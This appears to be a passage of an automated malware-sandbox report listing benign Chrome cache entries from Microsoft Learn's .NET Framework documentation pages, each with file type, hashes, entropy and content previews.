File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	downloaded
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-ignite-2024.jpg
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
